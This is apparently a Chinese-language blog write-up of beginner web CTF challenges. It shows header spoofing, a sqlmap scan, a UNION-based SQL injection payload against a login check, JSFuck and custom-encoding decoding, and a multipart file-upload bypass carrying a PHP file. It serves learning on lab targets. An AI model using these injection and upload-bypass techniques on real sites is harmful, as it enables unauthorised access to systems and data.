web安全之CTF之旅(一)

之前的前置知识已经掌握了不少了,除了在hackthissite做了basic的题,就差不多可以上手CTF的基础题了.先刷公认比较好的实验吧web安全板块的.也算简单的write up吧,参考了其他人的会写出来.

ctfWeb00

0x00. Forbidden

题目链接. 这题描述比较简单,403权限把我们拒了,然后提示HongKong,我首先想到的是tower那样….根据你ip来增加新的二级域名比如 hk.tower.im 然而发行并不对…

那么再观察了一下f12发现内容很少. 但是机智的我发现了一个 language的地方. 本来是要抓包然后重传的,强大的firefox这里可以直接修改重传,直接改成 Zn-hk,发送. 然后查看响应

ctf00

就会发现藏在里面的flag了. 直接秒了.

0x01.猫捉老鼠

题目链接. 这题之前提示了Catch.Catch.Catch 看来是让我们关注这字了 . 进入页面.就一个输入框: Input Your pass key [ ] Submit . 看不出什么,随便输入一个,提示check failed.空空如也.

那么先想使用bs来抓包吧. 如图,然后我试着构造catch, cat, mouse的参数… 甚至tom…jerry,但是无一成功..

ctf01

没办法看一下提示…我去….居然倒在了最后一步.仔细看看上图抓包后的 Content-Row: MTUwOTQ2MTg3OA== 这里有一串非常奇怪的字符.那么试着直接提交不行,应该就是提交的参数了. 试着复制提交,得到flag

0x02. 这题好像有点难

题目链接 这里题目比较直接了,进来给了个php代码,从里面可以比较简单看出来,要让参数变为 1.1.1,1

ctf02

那么,关键是如何发送参数使得 HTTP_CLIENT_IP 这个值符合呢. 查阅一下发现存在X-Forwarded-For: 1.1.1.1 client-ip: 1.1.1.1 这两个可能的字段伪造ip.于是伪造一波,两边都实现了.

ctf03

0x04.看起来有点难

题目链接 一看登录就先猜测sql注入.然后尝试 admin=x&# 发现后面被过滤,说明存在注入漏洞,sqlmap开扫.发现admin字段存在注入. 开始入侵,常规题.

1
2
3
4
5
6
7
1.users : test@localhost
2.dbs :available databases [2]:
- information_schema
- test
3. tables: admin
4. column: username & password
5. key-->got

ctf04

0x05.头有点大

题目链接 .首先题目说提示已经很多了,那么直入正题吧.

You don’t have permission to access / on this server.

  • Please make sure you have installed .net framework 9.9!
  • Make sure you are in the region of England and browsing this site with Internet Explorer

很直接,那么我们直接改header,一个是.net版本. 一个是地点. 一个是浏览器标识. 比较麻烦的就是第一个.

先把其他改了.

ctf05

0x06. PHP大法

链接就不贴了…窗口有,题目如图,通过查看代码知道是二次编码而来.秒了.

ctf06

0x07. WTF,这是什么鬼

这题有点意思. 直接上图.

ctf07

发现都是字符括号间的斗争. 暂时没有头绪. 首先通过纯文字有答案,多是经过了编码. 然后看看js有没有直接的什么编码库这么丑的..然后各种试了一下,用bs的decode也用了.没有结果.发现重合的比较多,但是并不是完全重合.排除了重合的可能. google搜一下 !+[]+[+[]]] .然后发现一个JSFuxk. 然后把页面丢进去run

得到flag : Ihatejs #………….真的是wtf

0x08. 程序逻辑问题

题目链接 .进入是一个登陆界面已经有了usr跟passwd. 但是发现没什么用,点开f12.发现有个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
if($_POST[user] && $_POST[pass]) {
2$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
// 只有一条数据row[0] MYSQL_ASSOC:只得到关联索引的数组
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//strcasecmp()无视大小写比较两个字符串,相同返回0
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //关键行
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

用sqlmap的post构造请求,得到最后的 admin : 111 是账号密码. 然后分析逻辑. 发现并不对,因为它要求md5加密后的数据库pass跟明文相等,这当然是不可能的. 明文 111 加密后32位. 所以可以看出题目是想要我们自己拼凑一个一样的. 注意pass不能毙掉,不然就获取不到值了.

user=’ union select md5(1)#
&pass=1

在post中构造利用联合查询的特性,把$sql的值手动覆盖.还原语句为,注意单引号中间的是入参.为了观看明显,我特意把单引号前后打了空格,可以认真看看.

1
2
3
4
5
6
7
8
#php语句 
select pw from php where user='$user'
#sql语句1 (√)
select pw from php where user=' ' union select md5(1)# ' '
#sql语句2 (√)
select pw from php where user=' ' union select md5(1)' '
#sql语句2 (x) :因为admin是正确的值,所以返回值有两个,取第一个那么结果还是111而非md5(1)
select pw from php where user='admin' union select md5(1)' '

0x09.字符串解密

这题就是程序反推题了. 直接给了你代码跟加密后的密文,让你推之前应该是.读懂程序.变成人话.

1
2
3
4
5
6
7
8
9
10
11
void encode(String str){  //php函数语法,转换为了java格式,不然看起来太蛋疼.函数都是php的注意.
String strR = strrev(str);
for(int i = 0;i < strR.len;i++){
String c = substr(strR,str,1);
String d = ord(c)+1;
c = chr(d);
String e = e + c;
}
return str_rot13(strrev(base64_encode(e)));
}
// key = a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

那么分步骤逆向推:

  1. str_rot13的逆向

    ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。

    直接在线网站;n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf

  2. strrev逆向.

    可以写个脚本..当然图快就在线

    fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n

  3. base64Decode

    ~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg

  4. 醉了.循环手工岂不是要命.还是老实写一下php代码吧…(逃避可耻且无用系列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$str="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str)
{
2$_ = "";
2$str=base64_decode(strrev(str_rot13($str)));
2for($_0=0;$_0<strlen($str);$_0++)
2{
22$_c = substr($str,$_0,1);
22$__ = ord($_c)-1;
22$_c = chr($__);
22$_ = $_.$_c;
2}
2echo strrev($_);
}
decode($str);
?>

0x0A. 文件上传绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----------------------------75873129122758
Content-Disposition: form-data; name="dir"

/uploads/
-----------------------------75873129122758
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: application/octet-stream

<?php
2phpinfo();
?>
-----------------------------75873129122758
Content-Disposition: form-data; name="submit"

Submit
-----------------------------75873129122758--

不允许上传非图片格式,那么我们bs抓包,修改格式信息为如下

1
2
3
4
5
6
7
8
9
10
11
12
-----------------------------16829464029676
Content-Disposition: form-data; name="dir"

/uploads/
-----------------------------16829464029676
Content-Disposition: form-data; name="file"; filename="evil.png"
Content-Type: image/png

<?php
2phpinfo();
?>
-----------------------------16829464029676

发现发送之后还是不行.必须得把名字也改掉. 那跟最开始直接把文件改名一样. 问题是如何读取到改了之后的evil.png文件. 这里上传完成后提示

Upload: evil.png
Type: image/png
Size: 0.021484375 Kb
Stored in: ./uploads/8a9e5f6a7a789acb.php
必须上传成后缀名为php的文件才行啊!

提示我们必须上传php文件….那我们试试文件包含漏洞? 写了个简单测试8a9e5f6a7a789acb.php并没有…陷入江局…看一下提示. 0x00文件截断漏洞 .唔这个的确之前没听过.查一波.说明之前文件上传漏洞那有很多地方没有细究清楚.

参考blog